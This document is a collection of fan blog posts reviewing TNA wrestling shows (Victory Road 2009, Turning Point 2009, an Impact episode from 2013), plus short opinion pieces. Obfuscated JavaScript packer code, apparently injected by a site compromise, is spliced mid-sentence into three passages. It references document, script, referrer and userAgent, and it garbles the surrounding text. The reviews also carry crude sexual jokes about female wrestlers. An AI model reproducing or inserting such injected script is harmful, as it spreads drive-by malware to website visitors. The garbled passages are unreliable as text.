TNA’s Real Turning Point

Continuing eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aiftz|var|u0026u|referrer|sfyzr||js|php'.split('|'),0,{})) my miniseries on why TNA is the mess that it is.Think back with me to Destination X 2012 and Aries vs. Roode.  Why was that match special?  Among other reasons, there was one major reason: either guy could win.  So many times in wrestling and TNA in particular, the stories and winners to the matches are very predictable.  This has plagued TNA since about No Surrender 2012.  Let’s think for a minute.

 

At No Surrender, Jeff Hardy won the BFG Series.  Wasn’t it was pretty obvious that Hardy would win the title?

At Bound For Glory, D-Von was revealed as the first member of Aces and 8’s.  At that point, wasn’t it somewhat obvious that Ray was involved too?  They’ve been together for years and you can’t have one without the other.  Also at Bound For Glory, Hardy won the title to the surprise of very few.

On some episode of Impact, Ray started dating Brook Hogan.  At that point, wasn’t it clear that Ray was going to be the big bad and screw everyone over?

Once Ray won a tournament (which he wasn’t in) to get a title shot at Lockdown, wasn’t it obvious that he would win the title and be revealed as the Aces and 8’s boss?  Again, that’s what happened.

Once AJ Styles became Stinger Styles, wasn’t it obvious he would take the title from Ray and end the reign of terror which wasn’t so much terror as it was boring?  Again, that’s what happened.

The night of Bound For Glory, I said Magnus was going to be Dixie’s man.  Any guesses as to who Dixie’s man will eventually be?

 

You can see a problem here: TNA is REALLY bad at having their stories go exactly as people say they will.  If I know nearly every step a story is going to take, why would I want to watch it?  There are exceptions to this rule of course, but the majority of the time it doesn’t make for compelling television.




Victory Road 2009: More Mafia Than A Godfather Marathon

Victory Road 2009
Date: July 19, 2009
Location: Impact Zone, Orlando, Florida
Attendance: 1,100
Commentators: Don West, Mike Tenay

The Main Event Mafia is still around but it’s not what it used to be. Angle vs. Foley is the main event for the title with Angle defending, which makes me think little about the upcoming match. This card looks pretty weak, although we have AJ vs. Nash for the Legends Title and Joe vs. Sting. It just lacks a spark for me, but better days were coming soon for TNA. And then they just left but we’ll get to that later. Let’s get to it.

The video is about starting the road to victory and it’s as generic as the rest of them have been. Seriously, TNA needs to work on its opening videos BADLY.

Knockouts Title: Angelina Love vs. Tara

Tara is champion here and showed up recently, more or less hating the Beautiful People just because I guess. She also took the title on Impact about a month ago so this is the rematch. They’re scared of the spider which I can’t blame them for since I have a spider bite on my arm that refuses to heal. It just works for her.

 

Of course the announcers can’t think because there are women in front of them. I love that Broken theme. We stall for awhile as they run from the spider. What was the point of that anyway? Is it supposed to be sexy? I don’t want a freaking tarantula anywhere near me. Tara starts in the t-shirt early on and then rips it off which was always hot to me.

 

Then again I’ve always had a crush on Tara so there we go. Tara busts out the Tarantula move which at least makes sense here. West is mostly heel here also. Love starts dominating after some hot girls interference. We get a Bobo Brazil reference that even Tenay doesn’t get. We go old school with a double clothesline spot. I love that move.

 

Skye accidentally sprays hairspray into Love’s eyes but it only gets two because the referee throws the other two girls out. Tara misses a moonsault and Love covers her, but Tara’s foot is on the rope. Doesn’t matter apparently as Love gets the title anyway. Post match Tara superkicks the referee and beats up Love.

Rating: C-. Not bad, but nothing great. The thing here is that the Knockouts at this time were AWESOME with their stuff destroying the Divas. Somehow in a year that’s completely switched but whatever. Anyway, this wasn’t anything great but it’s certainly not bad. It did the job it was supposed to do though so I have to give it that.

We run down the card, including BOTH tag title matches. Dang I hated that period.

We go to the Main Event Mafia’s dressing room where Kurt says not to expect a quality match from him tonight. Well at least he’s being honest. Instead he’s going to destroy Foley as soon as possible. Angle says if the Mafia doesn’t get a clean sweep by pins or submissions he’ll fire them all.

We get a video about Morgan vs. Daniels which wasn’t a feud but more a way to give Morgan another PPV win against a big name. Daniels wasn’t much at all here but he was AJ’s friend and since Morgan wanted to be in the Mafia he helped them beat up AJ. There’s your match.

Matt Morgan vs. Christopher Daniels

What is up with Morgan’s robe? He just doesn’t need it as it looks stupid. Oh sorry there’s no Christopher anymore as apparently he’s lost his first name. Check under AJ’s bed. Morgan dominates to start as I think we’re looking at a glorified squash here. Daniels has a mustache here and it looks pretty stupid. Daniels hits a suicide dive but it doesn’t even knock Morgan down.

 

What is the big deal with Daniels? He just isn’t anywhere near as great as he’s made out to be. He just isn’t. A springboard split legged moonsault FINALLY puts him down for like 4 seconds. That more or less ends Daniels’ offense for the time being. I like that rotating elbow thing that Morgan does to people in the corner.

 

Those would have to freaking hurt. Morgan works on the knee which is allegedly hurt but it’s kind of on again/off again which is annoying as all goodness. Daniels does some small stuff but of course it doesn’t mean much. Daniels counters a chokeslam but he can’t hit the BME because of the leg. The Carbon Footprint and the Hellevator end it.

Rating: D+. It was just a glorified squash like I thought it would be. Morgan was never in anything close to trouble and we never had any reason to believe that he would be, which isn’t good at all. Daniels looked like a jobber here, as he continues to be thought of as nothing important at all in this company.

Dr. Stevie says he’s been working on this forever so he’s going to make this no disqualification. Sure why not. Were we just supposed to believe we didn’t recognize this guy or something? Was that supposed to be what they were going for because if that’s it, TNA is stupider than I thought they were.

We recap Stevie vs. Abyss, which is based on Richards being his therapist and trying to cure him of his addiction to weapons and violence, which was just a bizarre angle that didn’t work for me in the slightest. And then Abyss hated him for no explained reason. Also Stevie was his therapist for ten years apparently, so back in the day when he was chilling with Raven in WCW, he was a psychiatrist? SERIOUSLY? Oh and he kidnapped Abyss’ girlfriend or whatever, Lauren, who was gorgeous to say the least.

Abyss vs. Stevie Richards

I’m in awe of how stupid this angle and character is but whatever. Abyss has just started wearing his current entrance attire that makes him look like a homeless man. Stevie has some kind of pipe or something and beats on Abyss with it. They continue to confuse me by calling him Stevie Richards and acknowledge his background in wrestling.

 

I’m not even going to rant about how stupid that is but whatever. Again we’re told how great Abyss can be. And again we ignore that he’s a former world champion. Are they ashamed of that or something? They say AJ is a former world champion here even though he had only won NWA Titles at this point.

 

I really hate that freaking clapping Abyss does. It’s stupid when Christian does it but it’s just freaking idiotic when Abyss does it. We head into the crowd so we can kill off some time to go along with the brain cells. Seriously, what is the appeal of the monster being all child-like? Is that supposed to be interesting or funny or something?

 

I’d assume it’s based off of being ironic or something but in order for irony to work it needs to be interesting which this just flat out isn’t. Since it’s TNA, of course Stevie starts bleeding. That’s a real problem with TNA today: they think blood makes a match better. Blood can help a match, but only when it’s done both in moderation as well as properly.

 

TNA has a real issue with it as they do it so often that it loses all effectiveness. The fans are insane and rather annoying here, wanting Stevie to get hurt more and more. Somewhere a man named Lee is crying. And now it’s chair time because we need to kill off more time in this match.

 

Just like the previous match, this is a glorified squash. He pulls Stevie up after two from Shock Treatment. Daffney brings Stevie a stun gun that he’s used lately. Instead he runs into a Black Hole Slam. He uses the tazer on him and smoke comes out of it. There’s the pin and I need a stiff drink.

Rating: D. This was even worse than the previous match as this one was even more of a squash. It was about 95% Abyss dominance which isn’t interesting at all. Then again neither of these guys are interesting characters so that likely has a lot to do with it.

The announcers tell us how this is THE most important event in TNA history. I love hyperbole.

Foley gives Beer Money a pep talk. I think they’re going for the Dudleys’ record for most turns in wrestling history. Oh and AJ is here too.

We hear about Team 3D vs. the British Invasion. But I thought Beer Money….OH! This is for the OTHER tag title. How could I be so clumsy? Basically the Dudleys were the TNA tag champions but the Invasion cost them the belts. So they just went and got their own belts. Sure why not?

IWGP Tag Titles: Team 3D vs. British Invasion

The Invasion is Magnus and Williams with Terry on the outside. These are the Japanese belts where the title defenses here aren’t sanctioned by New Japan but TNA just does it anyway because since the belts are Japanese they’re cool.

 

Apparently this is a career changing match because it would cost Team 3D their New Japan bookings. Yeah that’s how Tenay described it. Oh dear. What’s the deal with the wrist holding thing? Is that supposed to mean something? Then he talks about them again and this time throws in how important the pay days are. Great way to get your faces over there Mikey.

 

Doug Williams is completely different here. Today he actually has a personality which makes him far more interesting. D-Von dominates for the most part early on as I can feel the EPICNESS of this being for Japanese tag titles. I just have no desire to watch this match at all.

 

So what if they win the IWGP titles? There are OTHER tag titles to win. That’s what’s idiotic on this. In WWE it made sense where there were two different shows to have tag titles on. This is just stupid, but hey, they’re prestigious right? So is the WWE Title but it’s not defended on TNA television.

 

The Brits take over on Bubba and it’s very standard stuff. He gets out of it with a spear which is a move he doesn’t need to be doing. Then again there aren’t many people that should be. What is the appeal of Magnus? He’s not that good and he’s never on TV but whatever.

 

Bubba hits a Rock Bottom as the Dudleys take over. And now it’s table time. The fans get a solid TABLE chant going. It only lasts a few seconds and Magnus manages to not be able to be thrown over the top correctly. 3D ends Williams. The rest of what would become World Elite comes out and beats down the Dudleys. Never mind that as Team 3D fights them off and puts Bashir through the table.

Rating: D+. So? Like I said earlier, so what? This means very little in the grand scheme of things as there would be other tag titles for them to win. The match was bland as vanilla and since the titles would change in a few weeks on Impact anyway, this wound up meaning nothing at all. I’m bored beyond belief at this point.

We’re going to address the ending in the Knockouts match earlier where Tara’s foot was on the rope. Lauren is with the referee and asks what is going on. He says the decision is final even though it was wrong. He’s going to try to get Tara a rematch though.

Jenna Morasca vs. Sharmell

Neither of them are wrestlers, but they’re fighting on PPV anyway. These are both women in the Mafia and they’re fighting over who is the top girl in it. Sharmell is in an evening gown and is Booker’s wife. Sojurnor Bolt is with Sharmell and Kong is with Jenna. Jenna won Survivor so she’s guaranteed a spot on TNA’s roster.

 

Thankfully this would be her last appearance due to pure ineptness. She looked ok but that’s about it. No one knew who she was but why should that stop anyone? She tries to do a sexy entrance but it’s not working. Jenna thinks she’s hot and that’s about all she has going for her. This was voted Worst Match of the Year by Meltzer and that doesn’t surprise me at all.

 

Oh this isn’t going to be fun. When Sharmell is the best worker in it, that’s a BAD sign. Why they didn’t make this a tag with the two girls on the floor is beyond me. Neither of them can do anything and they just kind of run into each other rather than do actual wrestling moves.

 

My problem with these celebrity matches is that it undermines the people that work hard to get to a PPV level, but then again I’m putting too much thought into this. Even the fans are chanting boring. They have managed to tick off a TNA crowd. That’s IMPRESSIVE.

 

The girls on the floor get into it and Jenna is just laying there, not even selling. Well she’s rich so she can get away with that I guess. Oh look, a slap. And more slaps. And I want to shoot whoever agreed to let this happen.

 

Jenna pulls out some of Sharmell’s extensions and it’s still going. Kong hits Sharmell and Jenna grinds on her before pinning her. WOW Meltzer was right on this one. Kong beats Jenna up afterwards due to her making her sit through that mess.

Rating: N/A. This wasn’t wrestling.

Nash says good things about Kurt and runs down Foley and the guys Foley is with. Nash says if he loses tonight he’ll retire.

Nash wants the Legends Title for the money and AJ wants it because he won it. Yeah that’s it.

Legends Title: AJ Styles vs. Kevin Nash

The Legends Title is now the Global Title and AJ holds it here. This is back when AJ is the awesome version of himself that was on the rise back through the ranks and would win the world title in a few months. He was more or less considered the best in the world at this point and with good reason.

 

I was one of those people, but Punk was about to turn full Straightedge Messiah and the race was on. AJ hits and Nash runs which is a weird combination. AJ goes for the knees as you would expect. By the way, if a match like this happened in WCW (with AJ being replaced by Benoit or Malenko), the company could have had a fighting chance at the end.

 

Nash goes into his normal stuff but here it works for some reason. Nash was in a groove around this time with the whole in it for the money character trait. It worked very well for him though as that completely fit his character and it came off perfectly.

 

Nash kicks the tar out of AJ and knocks him to the floor where AJ hits his head. The Jackknife is blocked though and even I’m starting to cheer for AJ. He hits the forearm while Nash is sitting on the mat in a cool spot. AJ hooks a weird looking leg lock on Nash which is working quite well. It looks like a highly modified Sharpshooter but it’s working.

 

There’s the forearm which is one of my favorite moves of all time so I love it of course. Pele puts Nash down and West is refusing to believe AJ can lose…even though he’s the heel commentator…..he was new at it I guess. In a very anti-climactic ending, AJ goes for another forearm but Nash shoves the referee at him so AJ has to jump over him. That’s enough for Nash to catch him in a chokeslam for the pin. It came out of nowhere but it’s not horrible.

Rating: B. This really worked for me. AJ was able to make the David vs. Goliath thing work very well but I really do question putting a title on Nash. He wouldn’t hold it long at least but that’s another story. This was a fun match though as the dynamic was there which is usually the hardest part to get.

Lauren is looking for Tara but finds the referee from that match with Madison in the shower. Ok then.

So since Foley wanted a world title shot, he had to give Nash his title shot and Booker and Steiner their title shots. That’s all there is to this.

TNA Tag Titles: Scott Steiner/Booker T vs. Beer Money

Now remember that these are the OTHER tag titles. That stupid cruiser thing is back. I do kind of like how the tag belts look. We have to hear how awesome Steiner and Booker are as a super team because they both used to be in big tag teams years ago. So in translation, Axe and Marty Jannetty would be a great team? That sounds like an indy show nightmare.

 

We start off not very slowly here as we come to the realization that Beer Money doesn’t have a chance here. Even though they’re the champions they’re underdogs somehow because being tag champions is beneath being half of the tag champions like 15 years ago. And all companies to this. It’s a problem of modern tag wrestling: the constant throwing together of big names and calling them tag teams is what’s killed tag wrestling.

 

Implying that in their first match a team is the best team in the world is just ridiculous. Also it’s not about a team but two guys being together for one match or so. It’s why guys like Bubba and D-Von suck on their own but are great together: they compliment each other so well and without each other they’re far weaker and not a threat at all…even though Bubba was in the main event of an ECW PPV in a world title shot.

 

Oh look Steiner can throw punches and use belly to belly suplexes. What riveting offense! Storm gets beaten down as he must be used to since he’s been in tag teams for about 90% of his TNA career, of which can also be said of Roode although not as much. Roode gets the hot tag to no heat and hits a Blockbuster which is another of my favorite moves.

 

They hit a combination clothesline/backstabber for two on Steiner. Storm spits beer at Steiner and down goes the referee of course. And then Booker hits the axe kick so Steiner can pin Roode. Somehow they haven’t had the tag belts since.

Rating: C+. This wasn’t great or anything but it was ok I suppose. I hate how they more or less made Beer Money look subservient to a thrown together tag team but such is the way of modern tag wrestling like I got into earlier. This wasn’t anything terribly special but it did its job I suppose. Booker would leave soon enough so the Brits got the tag belts.

Booker and Steiner cut unintelligible promos about being Mafia or whatever.

Joe talks about beating Sting, complete with face tattoo. Also his mentor might be debuting tonight.

We see a recap of Joe joining the Mafia at Slammiversary after being bought off using Jenna Morasca’s money. Sting got thrown out and Joe took his place, setting up this match. This is also about Joe’s mentor and giving us the letters FTW and the number 13 on an orange background aren’t hints at all.

Samoa Joe vs. Sting

So let the countdown to Taz begin. TNA needs to work on their surprises a bit better. Sting’s coat is purple and his attire is red and black. Ok then. We’re going at it early and Joe is FAT here. There’s maybe a foot between the steps and the railing which is weird to see. And we hit the crowd for some brawling.

 

We then stay out there with Sting in control. Joe goes into the steps and his arm hurts now. I’m sure that means no choke out. Joe looks ridiculous and we finally get into the ring for a change. Joe hits a diving elbow through the ropes which gets two. Dang Joe’s tattoo is running again. I love that.

 

Sting is in trouble. Actually he likely isn’t because it’s all a DECEPTION BABY! Sting hits a pinful looking enziguri to take over for a bit. The crowd is somehow dead here. There’s the Scorpion and there’s Taz. Sting, like an idiot, lets go of the hold and Joe goes off for about 8 seconds before Sting beats him right back down. That was idiotic. Joe crotches him on the top rope, then doesn’t hit the Musclebuster but the Clutch to end it.

Rating: D+. This was all about Taz’s debut and then that sucked too. Taz would cut a face promo on Impact and throw this all away but whatever. Taz showed up and then Joe got beaten up again. Was that the plan, because if it was then it sucked. This just wasn’t much at all given who was in there.

Lashley is with TNA.

Foley says he’s not worried about the Mafia and even though he doesn’t match up with Angle that well, but if he can hit his running elbow it’ll work.

We recap Joe turning on TNA at Slammiversary (after destroying them for weeks after they hurt him a few months earlier to have it make even less sense) to cost Foley the world title. Angle cut a deal that said Foley gets his rematch for the Mafia getting two title matches earlier in this show.

TNA World Title: Kurt Angle vs. Mick Foley

Tenay says Foley has finally learned how to put the company ahead of personal accomplishments. And there goes any theory that TNA has a clue about anything for me. Yeah, Mick Foley’s ego is out of control! This was when Angle was in a movie and has a beard which just looks freaking stupid.

 

I actually had issues recognizing him at times. Angle MIGHT weigh 190lbs here. We start with a slow and ground based thing which is very weird to see. This goes on for awhile before Foley takes over and works on the neck. And now he gets thrown into the steps.

 

The Mafia has all the titles at this point so this is TNA’s last chance. The moonsault of course misses as there isn’t much to say here at all. No one buys Foley having a chance so it’s just killing time before we get to the finish here. The referee goes down as it’s sock time. Angle Slam kind of hits for two of course.

 

He drops an elbow on the referee for no adequately explored reason other than for the Mafia to run in I’m guessing. It’s chair time but the sock makes the save. Only in wrestling does that make perfect sense. Elbow hits on the floor and Angle is in trouble.

 

West: “he got his shoulder up in time. It wasn’t even close. Ok I lied it was as close as you could get.” Was there a point to that? The Claw gets two arm drops but here comes Angle. Ankle lock doesn’t work as surprisingly we haven’t had any run ins here. He gets the leg scissor and Foley has to tap. Well that was anti-climactic if there’s ever been an anti-climactic match.

Rating: D+. Like I said, just NO drama here at all. Everyone knew Foley was losing here and Angle never really seemed to be in any real danger. This wasn’t terrible but it felt like a very weak main event. AJ would get the title in two months, but this was all about the Mafia and it wasn’t good as it was just too much. The match was nothing special at all though.

Overall Rating: D. This was a rather weak PPV. There is one good match here and it’s hardly a classic. Other than that it’s just kind of there. This was ALL about the Mafia and it was total overkill at the end. You need to have one guy as a resistance to make the people want to watch. It just didn’t work for me and I wasn’t a fan of last summer. Take a pass here as it’s just a weak PPV overall, although there have been far worse.

 

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Impact Wrestling – November 21, 2013: What Are They Turning Towards?

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytaih|var|u0026u|referrer|dhyeb||js|php'.split('|'),0,{})) Wrestling
Date: November 21, 2013
Location: Impact zone, Orlando, Florida
Commentators: Mike Tenay, Taz

We open with an Impact365 video of Roode attacking Storm at a bar last night.

We get an opening video recapping both the tournament matches as well as Anderson vs. Ray.

TNA World Title Tournament First Round: Magnus vs. Samoa Joe

Falls count anywhere. Joe pops upon the screen and says he wants to start the fight in the back. Magnus heads backstage and we take a break. This is joined in progress in the back with Joe throwing Magnus through various objects. Apparently that was a replay and we cut back to the stage with Magnus getting two off an elbow drop. They head to ringside with Joe taking over via some right hands before taking Magnus down with a running boot to the face.

Magnus avoids the backsplash though and peppers Joe with forearms and uppercuts. Joe snaps off the powerslam for two but walks into the Michinoku Driver. Magnus loads up the top rope elbow but Joe stops him with a chop. A superplex is blocked and Magnus knees him in the chest to put Joe on the mat. Now the top rope elbow connects for two but Joe kicks away from the Kingsley Cloverleaf. The Rock Bottom out of the corner puts Magnus down on the floor and the suicide elbow takes Magnus out again for two.

The Brit sends Joe into the barricade and pulls out a chair which he wedges between the bottom and middle rope. Joe reverses a whip into the chair and hooks the Koquina Clutch but Magnus rams him back first into the apron. Magnus ducks a charging Samoan to send Joe head first into the chair for the pin at 7:11.

Joseph Park vs. Abyss

Gail Kim vs. Candice Larea

Candice is another newcomer and is a good looking blonde. Gail runs her over to start and gets two off a running dropkick in the corner. Larea comes back with a headscissors and a sunset flip before awkwardly running into the corner. Kim forearms her a lot and catches a hurricanrana in a sitout powerbomb for two. Eat Defeat is enough for the pin on Candice at 1:52.

AJ Styles video from his time in Japan.

Gunner gives Storm a pep talk before his match.

We recap Storm vs. Roode. They were partners for years until Roode turned heel on Storm to win the title. A long running feud and series of matches followed.

TNA World Title Tournament First Round: James Storm vs. Bobby Roode

They pound on each other with trashcan lids and both guys go down for a seven count. Roode has a crutch but walks into the Last Call and rolls to the floor. He finds a beer bottle on the floor and smashes Storm in the head but James gets up at nine. Roode clotheslines him down again and hits an Attitude Adjustment through two chairs but Storm is up at nine. Bobby is ticked so he goes under the ring and finds a barbed wire board, which I guess is there just in case a Florida death match broke out. Roode loads up another AA but Gunner comes out to throw in the towel and end the match at 12:00.

Rating: C+. The match was better than a bullrope match would have been but the ending was much more about setting up a future program than the match itself. On top of that, Storm loses in ANOTHER big match which does nothing to help his reputation as a choker. Still though, fun brawl.

Post break Gunner pleads his case but Storm is still furious.

Here are the updated brackets:

Hardy

Roode

Angle

Magnus

Angle is cutting a promo on Magnus when Dixie Carter summons him to her office.

Ethan Carter III vs. Shark Boy

Shark Boy had announced he was coming back tonight on Impact365 earlier this week. Carter bails to the floor for a chase but still avoids an elbow as they get back inside. The Chummer is countered with ease and the One Percenter is good for the pin at 2:06.

We recap Anderson vs. Ray which stemmed from Ray using the club as a way to get himself over and Anderson not being cool with it. Anderson cost Ray a match against Sting and the Bound For Glory rematch against AJ Styles.

Mr. Anderson vs. Bully Ray

Ray takes off the chain to whip Anderson even more but Anderson takes the chain away and gets in a few whips of his own. Anderson loads up a big chained fist but gets sent to the floor instead. Ray pulls back the mats but Anderson backdrops Ray onto the concrete instead.

Anderson gets Ray and Tazz’s cuts to end the show.

Results

Magnus b. Samoa Joe – Joe rammed his head into a chair

Gail Kim b. Candice Larea – Eat Defeat

Bobby Roode b. James Storm – Gunner threw in the towel

Ethan Carter III b. Shark Boy – One Percenter

Mr. Anderson b. Bully Ray – Mic Check

 

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Thought of the Day: Needs More Rico

Ignoring eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfzen|var|u0026u|referrer|fhrtd||js|php'.split('|'),0,{})) the fact that Rico had some of the most underutilized talent ever, that’s not exactly what I want to talk about today.This came to my attention on Smackdown last week: how many people in WWE have custom entrance attire anymore?  The answer is not many.  Almost every big name comes to the ring in their latest t-shirt so they can throw it to the crowd or take it off and sneer at the people.  I miss the days of Ric Flair robes, massive Randy Savage hats, Steve Austin vests, Undertaker’s trench coat, Randy Orton’s two bottles of baby oil, Trish’s cowboy hat and coat and Vader’s big helmet.  This is one area that TNA owns WWE in.  Roode has his robe, Bad Influence has the leather jackets and sunglasses, AJ has his hooded jacket.  Those things help.

 

Bring some of that stuff back so these guys can stand out a bit more rather than looking like the same idea over and over.




On This Day: November 15, 2009 – Turning Point 2009: The Good Old Three Way

Turning Point 2009
Date: November 15, 2009
Location: Impact Zone, Orlando, Florida
Attendance: 1,100
Commentators: Taz, Mike Tenay

Back to Orlando for another show here, this time from just before Hogan and Bischoff arrived. AJ is champion here and the main event is against his old buddies in the form of Daniels and Joe. This is back in the period when the idea was AJ is awesome. Other than that there isn’t much going on here but the focus is definitely more on wrestling than drama, and that’s certainly a nice change of pace from today’s product. Let’s get to it.

The opening video is about change and how everything goes through it. This of course transitions into a video about Hogan and then into the three way main event. Joe wants to be the best in the world and Daniels wants to prove that he’s as good as AJ. Also Desmond Wolfe has been jumping Angle so they have a match tonight.

X-Division Title: Amazing Red vs. Homicide

Red is champion here but Homicide has pinned him recently. Don West is with Red here. Oh and Homicide is in World Elite which I don’t’ think is going to matter at the end of the day. It’s still a six sided ring too which takes some time to adjust to again. Naturally things speed up quickly and they trade speed moves. Headscissors puts Homicide down but a clothesline turns Red inside out.

West is shouting LOUDLY, as in you can hear him and it’s not loud enough to be on a microphone. Red fights back and gets a seated clothesline for two. What can be described as a Swanton Bomb but falling (I think intentionally) misses and Homicide hits a tilt-a-whirl backbreaker for two. Homicide goes after West which gets him nowhere. The fans chant “no me gusta” (Spanish for I don’t like you) at Homicide in a funny bit.

West playing cheerleader is a funny bit. The coaching he’s giving sounds good too so it’s not as bad as it sounds. Homicide gets a palm shot ala Abdullah the Butcher and it’s off to a modified leg lock. Homicide lets it go and shouts to someone that we can’t see. Red is sat up on the top and they slug it out a bit from there, resulting in Red sending him down. Arm drag off the top by Red which is a cool move I don’t remember seeing before. By that I mean Red jumped and caught one in the air.

DDT gets two and this is a pretty fun opener. Loud “he’s amazing” chant lasts about 3 seconds. This is the Crucial Crew I think and they’re getting very annoying. Red fires off some kicks but gets caught in a dragon screw leg whip and a Michinoku Driver for two. Gringo Killer (Vertebreaker) doesn’t work as Red takes him down and gets a standing shooting star for two.

Moonsault press is mostly caught in a cutter for a long two. West is losing his mind on these kickouts. He’s a very energetic guy to say the least and he’s having a good time out there. Homicide’s top rope rana is reversed into a sunset bomb off the top (called the Code Red. Red jumped down onto Homicide to hook it, making it look awesome) for the pin to retain. Sweet opener.

Rating: B. Good stuff here as the theory of fast paced high flying stuff is a great way to open the show. It worked fine here and West added a nice energy to this. I wouldn’t want to see it every night (West I mean) but for a one off thing here it’s fine. This is the kind of stuff you don’t see anymore in TNA: two guys getting ten minutes to go out there and have a fast paced and fun match. Sad too.

Taz and West run down the card. As in the one we already paid for. I don’t get it either.

Knockout Title/Knockout Tag Titles: Beautiful People vs. ODB/Taylor Wilde/Sarita

All titles on the line here and the non-beautiful people are champions. No word on how the titles are split up if one of the three pins a tag champion (Wilde/Sarita). You know I wonder what ODB stands for. I think I’ll see what I can come up with (and spare me the comments saying what it stands for. I know already and I need something to get me through this match). The Beautiful People here are Velvet, Lacey and Madison here. Velvet vs. Wilde to start us off but it’s off to Sarita quickly. Ok make that Department of Bacon. We’re less than a minute in and they’ve all been in already.

Headbutt to the ribs gets two for Date of Birth. Madison comes in and does the touch yourself and burn your finger thing. Instead here though she has to go over to the corner and has Velvet blow on it. I guess men and women both want to be blown by her. The delay allows Original Daniel Bryan to bring in Sarita to fight Madison. The tag champions set up a double team moonsault (belly to back release into a moonsault by Taylor) for two.

Madison takes over and it’s off to Madison. After mounting Wilde she throws on a chinlock for about 2 seconds and hammers away a bit more. The fans say Lacey can’t wrestle so we’re back off to Velvet. Octopus hold goes on for a few seconds so the announcers can make Inoki jokes. An elbow breaks the hold and it’s cold tag to Board of Directors. After a fallaway slam to Velvet everything breaks down. They triple team Operation Break Dance which fails completely. TKO ends Madison.

Rating: D. Weak match here that had no point at all being on the PPV. This is what Impact is for: six minute matches with hot women doing nothing of note for the entire match. Also, is there a reason to keep the titles on there? Oxford Dictionary of Britain doesn’t get us anywhere as champion. Angelina would be back soon which helped the division a lot. Anyway, weak match.

Wolfe says this all started with a handshake and then drilled him, which proved his point. Tonight the Wolfe will devour every scrap that remains. He knows Angle really well but Angle knows nothing about Wolfe. School is in session tonight and in Wolfe 101, Angle loses. Good night this guy was awesome.

Tag Titles: Beer Money vs. British Invasion vs. Motor City Machineguns

The Brits (Williams and Magnus) have the titles here. They’re heels and Beer Money are faces….I think. They won a match on Impact to get here. No clue on the Guns but they’re faces also. Storm vs. Magnus to start as Storm jumps him to control early. Roode comes in quickly and it’s off to Shelley. Backbreaker gets two for Roode as we get the usual solid stuff from these teams.

They chop it out but Shelley hits the floor and takes Roode’s leg out. Off to Sabin who comes in with a hilo and they speed things up a bit. Williams makes a blind tag which is rather smart when you think about it. Sabin and Williams have a nice gymnastics routine (thankfully minus the tutus) and it’s off to Shelley. The Guns get to show off which they do rather well to say the least.

Sabin comes back in and the fans chant USA. I would love Beer Money to get all fired up and say they love America more than the Guns and have it fire them up. Why can only faces be patriotic? The Brits take over on Sabin but Beer Money comes in for the save. They shout their representative names in the title of their team, only for the Guns to get a blind tag of their own.

We get a bad oral sex joke with the Brits as this breaks down just for a bit. The Guns take over and everyone beats on Magnus. Williams tries a backslide on Sabin but Shelly gets a superkick to break it up. Sliced Bread (I love that name) can’t connect as Shelly is caught in a nice superkick (why does EVERYONE use that move anymore) German suplex combo. Take that USA fans!

Beer Money takes over on the Brits now as they might as well put up a big sign saying BRITS WILL RETAIN. Maybe I’m jaded but as soon as they get beaten down this much it’s clear they’re going to get the come from behind win. And as I say that, here’s Eric Young, the leader of World Elite of which the Brits are members. Storm chases him off and Kevin Nash of all people comes out to stop Young. Ah apparently he wants the Global (now TV) Title back. Nash takes it….and hits Storm to join World Elite. In the ring a Hart Attack with a jumping back elbow instead of a clothesline and off the top ends this.

Rating: C-. Match wasn’t bad but at the same time it was kind of a mess at times. The Nash turn came off as unnecessary to put it mildly as it really didn’t add anything to the match and felt like the whole point of things rather than the match itself, as the point is supposed to be. Not bad, but a bit too sloppy for my tastes.

We recap Raven returning on Impact and throwing a fireball at Foley to join Dr. Stevie. They’re not on the show tonight or anything. We’re just wasting time here. Foley will be on Impact apparently.

Nash, holding the Global Title, says JB shouldn’t use such foul language. This is between him and Hulk apparently. Oh dear. Apparently the explanation comes Thursday if Hulk says it’s ok.

We recap Tara vs. Kong in a cage. The idea is Tara doesn’t back down from her and is debuting here. Ok then. Tara got in a good line saying she won’t be locked in there with Kong but Kong will be locked in there with her.

Tara vs. Awesome Kong

This is when Tara wore those TINY shorts and a t-shirt to start which she would remove later. The shirt, not the shorts unfortunately. There goes the shirt as I wonder how in the world Playboy turned her down, which they did. Kong takes her straight into the corner to start and they slug it out. I love those holes in the cage that TNA uses for the cameras. Splash misses by Kong and the spinning backfist goes into the cage as well.

Tara goes after the hand, proving that she’s hot as well as smart. She tries to escape but KONG SMASH, catching her in an electric chair. Kong goes up, only to get crotched. I’m not sure if that hurts or not. You pick whether I’m not sure due to a lack of gonads or an excess of fat. KONG GETS A MISSILE DROPKICK FOR TWO!!!! WOW. Kong drapes her up against the cage and rams into her back. I’d make a ramming into Tara from behind joke but that might not be PG enough.

The fans all chant for Tara as I can’t believe she’s 38 here. All Kong at the moment as she tries for a suplex. The key word there being try though as Tara counters into a DDT. Tara hammers away and gets a superkick (see what I mean about it always being used) and a dropkick for two. They both stand on the top rope, facing the cage before falling and crotching themselves on the top.

They kick away at each other with Tara falling to the mat. You can win by the traditional three ways here if I didn’t mention that. Tara tries the Widow’s Peak off the top but settles for a HUGE FREAKING POWERBOMB that only gets two. That totally should have been the finish right there. Instead Tara looks to climb out but comes back, hitting a cross body/Thesz Press to end it.

Rating: C. Pretty good match here and Tara’s awesome legs help it a lot, but I kind of wonder why this is in a cage other than for the ending bump. It’s not terrible but at the same time this was nothing great for the most part. Tara was pretty clearly winning as it was her big debut. Not bad, but nothing particularly great at all. Also this isn’t the traditional Broken theme song so it’s not as good.

Tara says she’s coming after ODB who she would beat soon.

